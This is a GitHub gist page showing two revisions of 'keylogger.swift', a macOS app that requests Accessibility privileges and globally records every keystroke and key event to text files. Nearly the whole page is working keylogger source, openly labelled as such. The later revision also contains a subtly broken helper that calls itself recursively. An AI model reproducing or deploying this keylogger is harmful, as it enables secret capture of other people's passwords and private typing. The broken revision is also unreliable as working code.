Skip to content

Instantly share code, notes, and snippets.

@abiosoft
Forked from TyrfingMjolnir/keylogger.swift
Created November 10, 2020 05:29
Show Gist options
  • Select an option

  • Save abiosoft/b78c9607a08a0cd4dd9ff14ba372cbb3 to your computer and use it in GitHub Desktop.

Select an option

Save abiosoft/b78c9607a08a0cd4dd9ff14ba372cbb3 to your computer and use it in GitHub Desktop.

Revisions

  1. @TyrfingMjolnir TyrfingMjolnir revised this gist Dec 8, 2016. 1 changed file with 54 additions and 68 deletions.
    122 changes: 54 additions & 68 deletions keylogger.swift
    Original file line number Diff line number Diff line change
    @@ -9,88 +9,74 @@
    import Cocoa

    extension String {
    func appendLineToURL(fileURL: NSURL) throws {
    try self.stringByAppendingString("\n").appendToURL(fileURL)
    }
    func appendLineToURL(fileURL: NSURL) throws {
    try self.appendLineToURL(fileURL: fileURL)
    }

    func appendToURL(fileURL: NSURL) throws {
    let data = self.dataUsingEncoding(NSUTF8StringEncoding)!
    try data.appendToURL(fileURL)
    }
    func appendToURL(fileURL: NSURL) throws {
    let data = self.data(using: String.Encoding.utf8)!
    try data.appendToURL( fileURL: fileURL )
    }
    }

    extension NSData {
    func appendToURL(fileURL: NSURL) throws {
    if let fileHandle = try? NSFileHandle(forWritingToURL: fileURL) {
    defer {
    fileHandle.closeFile()
    }
    fileHandle.seekToEndOfFile()
    fileHandle.writeData(self)
    }
    else {
    try writeToURL(fileURL, options: .DataWritingAtomic)
    }
    extension Data {
    func appendToURL(fileURL: NSURL) throws {
    if let fileHandle = try? FileHandle(forWritingTo: fileURL as URL) {
    defer {
    fileHandle.closeFile()
    }
    fileHandle.seekToEndOfFile()
    fileHandle.write(self as Data)
    } else {
    try write(to: fileURL as URL, options: .atomic)
    }
    }
    }


    func getDocumentsDirectory() -> NSString {
    let paths = NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)
    let documentsDirectory = paths[0]
    return documentsDirectory
    let paths = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)
    let documentsDirectory = paths[0]
    return documentsDirectory as NSString
    }

    func acquirePrivileges() -> Bool {
    let accessEnabled = AXIsProcessTrustedWithOptions(
    [kAXTrustedCheckOptionPrompt.takeUnretainedValue() as String: true])
    let accessEnabled = AXIsProcessTrustedWithOptions(
    [kAXTrustedCheckOptionPrompt.takeUnretainedValue() as String: true] as CFDictionary)

    if accessEnabled != true {
    print("You need to enable the keylogger in the System Prefrences")
    }
    return accessEnabled == true;
    if accessEnabled != true {
    print("You need to enable the keylogger in the System Prefrences")
    }
    return accessEnabled == true;
    }


    @NSApplicationMain
    class AppDelegate: NSObject, NSApplicationDelegate {



    func applicationDidFinishLaunching(aNotification: NSNotification) {
    // Insert code here to initialize your application
    acquirePrivileges();

    // keyboard listeners
    NSEvent.addGlobalMonitorForEventsMatchingMask(
    NSEventMask.KeyDownMask, handler: {(event: NSEvent) in
    print(String(event.characters!))
    do {
    let url = NSURL(fileURLWithPath: "/Users/johndel/projects/swift/test/keys.txt")
    try String(event.characters!).appendToURL(url)
    }
    catch {
    print("Could not write to file")
    }
    do {
    let url = NSURL(fileURLWithPath: "/Users/johndel/projects/swift/test/events.txt")
    try String(event).appendLineToURL(url)
    }
    catch {
    print("Could not write to file")
    }

    })

    func applicationDidFinishLaunching(aNotification: NSNotification) {
    // Insert code here to initialize your application
    acquirePrivileges();


    }

    func applicationWillTerminate(aNotification: NSNotification) {
    // Insert code here to tear down your application
    }


    }



    // keyboard listeners
    NSEvent.addGlobalMonitorForEvents(
    matching: NSEventMask.keyDown, handler: {(event: NSEvent) in
    print(String(event.characters!) as Any)
    do {
    let url = NSURL(fileURLWithPath: "/var/log/keylogger/keys.txt")
    try String(event.characters!).appendToURL(fileURL: url)
    } catch {
    print("Could not write to file")
    } do {
    let url = NSURL(fileURLWithPath: "/var/log/keylogger/events.txt")
    try String(describing: event).appendLineToURL(fileURL: url)
    }
    catch {
    print("Could not write to file")
    }
    }
    )
    }
    func applicationWillTerminate(aNotification: NSNotification) {
    // Insert code here to tear down your application
    }
    }
  2. @johndel johndel created this gist Jan 2, 2016.
    96 changes: 96 additions & 0 deletions keylogger.swift
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,96 @@
    //
    // AppDelegate.swift
    // test
    //
    // Created by IOANNIS DELIGIANNIS on 1/2/16.
    // Copyright © 2016 IOANNIS DELIGIANNIS. All rights reserved.
    //

    import Cocoa

    extension String {
    func appendLineToURL(fileURL: NSURL) throws {
    try self.stringByAppendingString("\n").appendToURL(fileURL)
    }

    func appendToURL(fileURL: NSURL) throws {
    let data = self.dataUsingEncoding(NSUTF8StringEncoding)!
    try data.appendToURL(fileURL)
    }
    }

    extension NSData {
    func appendToURL(fileURL: NSURL) throws {
    if let fileHandle = try? NSFileHandle(forWritingToURL: fileURL) {
    defer {
    fileHandle.closeFile()
    }
    fileHandle.seekToEndOfFile()
    fileHandle.writeData(self)
    }
    else {
    try writeToURL(fileURL, options: .DataWritingAtomic)
    }
    }
    }


    func getDocumentsDirectory() -> NSString {
    let paths = NSSearchPathForDirectoriesInDomains(.DocumentDirectory, .UserDomainMask, true)
    let documentsDirectory = paths[0]
    return documentsDirectory
    }

    func acquirePrivileges() -> Bool {
    let accessEnabled = AXIsProcessTrustedWithOptions(
    [kAXTrustedCheckOptionPrompt.takeUnretainedValue() as String: true])

    if accessEnabled != true {
    print("You need to enable the keylogger in the System Prefrences")
    }
    return accessEnabled == true;
    }


    @NSApplicationMain
    class AppDelegate: NSObject, NSApplicationDelegate {



    func applicationDidFinishLaunching(aNotification: NSNotification) {
    // Insert code here to initialize your application
    acquirePrivileges();

    // keyboard listeners
    NSEvent.addGlobalMonitorForEventsMatchingMask(
    NSEventMask.KeyDownMask, handler: {(event: NSEvent) in
    print(String(event.characters!))
    do {
    let url = NSURL(fileURLWithPath: "/Users/johndel/projects/swift/test/keys.txt")
    try String(event.characters!).appendToURL(url)
    }
    catch {
    print("Could not write to file")
    }
    do {
    let url = NSURL(fileURLWithPath: "/Users/johndel/projects/swift/test/events.txt")
    try String(event).appendLineToURL(url)
    }
    catch {
    print("Could not write to file")
    }

    })


    }

    func applicationWillTerminate(aNotification: NSNotification) {
    // Insert code here to tear down your application
    }


    }